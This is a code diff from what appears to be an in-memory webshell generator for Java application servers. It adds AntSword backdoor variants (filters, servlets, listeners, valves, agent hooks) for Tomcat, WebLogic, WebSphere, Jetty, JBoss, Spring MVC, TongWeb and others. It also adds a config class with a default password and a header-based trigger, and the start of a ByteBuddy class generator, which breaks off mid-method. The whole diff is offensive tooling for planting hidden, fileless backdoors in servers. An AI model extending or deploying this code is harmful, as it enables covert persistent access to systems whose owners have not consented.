import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
@@ -86,4 +90,15 @@ public class GlassFishShell extends AbstractShell {
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
@@ -14,6 +17,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
@@ -86,4 +90,15 @@ public class InforSuiteShell extends AbstractShell {
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
@@ -14,6 +17,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
@@ -74,4 +78,15 @@ public class JbossShell extends AbstractShell {
|
||||
map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor;
|
||||
@@ -11,6 +13,8 @@ import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -83,4 +87,14 @@ public class JettyShell extends AbstractShell {
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class));
|
||||
map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.resin.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
|
||||
@@ -8,6 +9,9 @@ import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
|
||||
import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
@@ -71,4 +75,14 @@ public class ResinShell extends AbstractShell {
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
||||
@@ -72,4 +75,13 @@ public class SpringWebMvcShell extends AbstractShell {
|
||||
map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class));
|
||||
map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
|
||||
map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,9 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
@@ -15,6 +19,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
||||
@@ -99,4 +104,16 @@ public class TomcatShell extends AbstractShell {
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -7,10 +9,12 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
|
||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
|
||||
@@ -82,4 +86,15 @@ public class TongWeb6Shell extends AbstractShell {
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -7,10 +9,12 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
|
||||
@@ -82,4 +86,15 @@ public class TongWeb7Shell extends AbstractShell {
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -8,6 +10,8 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
|
||||
@@ -83,4 +87,14 @@ public class UndertowShell extends AbstractShell {
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
@@ -11,6 +14,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
|
||||
@@ -71,4 +75,14 @@ public class WebLogicShell extends AbstractShell {
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
@@ -11,6 +14,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
|
||||
@@ -71,4 +75,14 @@ public class WebSphereShell extends AbstractShell {
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class));
|
||||
map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
public class AntSwordConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String pass = "pass";
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
}
|
||||
@@ -24,4 +24,9 @@ public enum ShellTool {
|
||||
* Suo5 隧道代理
|
||||
*/
|
||||
Suo5,
|
||||
|
||||
/**
|
||||
* 蚁剑
|
||||
*/
|
||||
AntSword,
|
||||
}
|
||||
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final AntSwordConfig antSwordConfig;
|
||||
|
||||
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.antSwordConfig = antSwordConfig;
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (antSwordConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("antSwordConfig.getClazz() == null");
|
||||
}
|
||||
if (StringUtils.isBlank(antSwordConfig.getPass())) {
|
||||
throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
|
||||
}
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(antSwordConfig.getShellClass())
|
||||
.name(antSwordConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(Map.of(
|
||||
"pass", antSwordConfig.getPass(),
|
||||
"headerName", antSwordConfig.getHeaderName(),
|
||||
"headerValue", antSwordConfig.getHeaderValue()
|
||||
))
|
||||
);
|
||||
} else {
|
||||
